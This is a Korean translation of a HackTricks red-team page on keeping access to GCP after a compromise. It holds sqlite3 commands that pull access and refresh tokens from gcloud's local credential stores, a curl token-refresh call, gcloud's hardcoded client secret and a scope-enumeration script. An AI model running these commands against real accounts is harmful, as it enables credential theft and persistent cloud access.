GCP - Non-svc Persistance

htARTE (HackTricks AWS Red Team Expert)를 통해 **제로**부터 **히어로**까지 AWS 해킹을 배우세요!

HackTricks를 지원하는 다른 방법:

이러한 기술은 어떤 방식으로든 GCP 자격 증명 또는 GCP 환경에서 실행 중인 기계를 침투한 후 유용합니다.

토큰 탈취

인증된 사용자 토큰

사용자의 현재 토큰을 가져오려면 다음을 실행할 수 있습니다:

sqlite3 $HOME/.config/gcloud/access_tokens.db "select access_token from access_tokens where account_id='<email>';"

이 페이지에서 gcloud를 사용하여이 토큰을 직접 사용하는 방법을 확인하십시오:

새 액세스 토큰을 생성하는 세부 정보를 얻으려면 다음을 실행하십시오:

sqlite3 $HOME/.config/gcloud/credentials.db "select value from credentials where account_id='<email>';"

$HOME/.config/gcloud/application_default_credentials.json 및 **$HOME/.config/gcloud/legacy_credentials/*/adc.json**에서 새로 고침 토큰을 찾을 수도 있습니다.

새로 고침 토큰, 클라이언트 ID 및 클라이언트 시크릿으로 새로 고침된 액세스 토큰을 얻으려면 다음을 실행하십시오:

curl -s --data client_id=<client_id> --data client_secret=<client_secret> --data grant_type=refresh_token --data refresh_token=<refresh_token> --data scope="https://www.googleapis.com/auth/cloud-platform https://www.googleapis.com/auth/accounts.reauth" https://www.googleapis.com/oauth2/v4/token

새로 고침 토큰의 유효성은 관리자 > 보안 > Google Cloud 세션 제어에서 관리할 수 있으며 기본적으로 16시간으로 설정되어 있지만 만료되지 않도록 설정할 수 있습니다:

인증 흐름

gcloud auth login과 같은 것을 사용할 때의 인증 흐름은 브라우저에서 프롬프트를 열고 모든 스코프를 수락한 후 브라우저가 도구에서 열린 http 포트로 이러한 요청을 보낼 것입니다:

/?state=EN5AK1GxwrEKgKog9ANBm0qDwWByYO&code=4/0AeaYSHCllDzZCAt2IlNWjMHqr4XKOuNuhOL-TM541gv-F6WOUsbwXiUgMYvo4Fg0NGzV9A&scope=email%20openid%20https://www.googleapis.com/auth/userinfo.email%20https://www.googleapis.com/auth/cloud-platform%20https://www.googleapis.com/auth/appengine.admin%20https://www.googleapis.com/auth/sqlservice.login%20https://www.googleapis.com/auth/compute%20https://www.googleapis.com/auth/accounts.reauth&authuser=0&prompt=consent HTTP/1.1

그럼 gcloud는 상태와 코드를 사용하여 하드코딩된 client_id(32555940559.apps.googleusercontent.com) 및 client_secret(ZmssLNjJy2998hD4CTg2ejr2)를 사용하여 최종 리프레시 토큰 데이터를 가져올 것입니다.

로컬호스트와의 통신이 HTTP로 이루어지므로 데이터를 가로채서 리프레시 토큰을 얻는 것이 가능하지만, 이 데이터는 한 번만 유효하므로 이 방법은 쓸모가 없습니다. 파일에서 리프레시 토큰을 읽는 것이 더 쉽습니다.

OAuth 스코프

모든 Google 스코프를 https://developers.google.com/identity/protocols/oauth2/scopes에서 찾을 수 있거나 다음을 실행하여 얻을 수 있습니다:

curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-A/\-\._]*' | sort -u

**gcloud**를 사용하여 인증하는 응용 프로그램이 지원할 수 있는 스코프를 확인할 수 있는 스크립트입니다:

curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
echo -ne "Testing $scope         \r"
if ! curl -v "https://accounts.google.com/o/oauth2/auth?response_type=code&client_id=32555940559.apps.googleusercontent.com&redirect_uri=http%3A%2F%2Flocalhost%3A8085%2F&scope=openid+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fappengine.admin+$scope+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fsqlservice.login+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcompute+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Faccounts.reauth&state=AjvFqBW5XNIw3VADagy5pvUSPraLQu&access_type=offline&code_challenge=IOk5F08WLn5xYPGRAHP9CTGHbLFDUElsP551ni2leN4&code_challenge_method=S256" 2>&1 | grep -q "error"; then
echo ""
echo $scope
fi
done

실행한 후에 이 앱이 다음 스코프를 지원하는지 확인되었습니다:

https://www.googleapis.com/auth/appengine.admin
https://www.googleapis.com/auth/bigquery
https://www.googleapis.com/auth/cloud-platform
https://www.googleapis.com/auth/compute
https://www.googleapis.com/auth/devstorage.full_control
https://www.googleapis.com/auth/drive
https://www.googleapis.com/auth/userinfo.email

이 앱이 drive 스코프를 지원하는 것을 보는 것은 흥미로운데, 공격자가 사용자를 강제하여 이 스코프로 토큰을 생성하도록 유도한다면 GCP에서 Workspace로 승격할 수 있을 것입니다.

이를 악용하는 방법을 여기에서 확인하세요.

서비스 계정

인증된 사용자와 마찬가지로 서비스 계정의 개인 키 파일을 compromise하면 원하는 만큼 액세스할 수 있습니다. 그러나 서비스 계정의 OAuth 토큰을 도난당하면 더 흥미로울 수 있습니다. 기본적으로 이러한 토큰은 1시간 동안 유용하지만, 피해자가 개인 API 키를 삭제하더라도 OAuth 토큰은 만료될 때까지 유효합니다.

메타데이터

명백히 GCP 환경에서 실행 중인 기계 내부에 있다면 메타데이터 엔드포인트에 연락하여 해당 기계에 연결된 서비스 계정에 액세스할 수 있습니다 (이 엔드포인트에서 액세스할 수 있는 OAuth 토큰은 일반적으로 스코프로 제한됩니다).

조치 방법

이러한 기술에 대한 일부 조치 방법은 https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2에서 설명되어 있습니다.

참고 자료

htARTE (HackTricks AWS Red Team Expert)로부터 AWS 해킹을 제로부터 전문가까지 배우세요 htARTE (HackTricks AWS Red Team Expert)!

HackTricks를 지원하는 다른 방법:

最終更新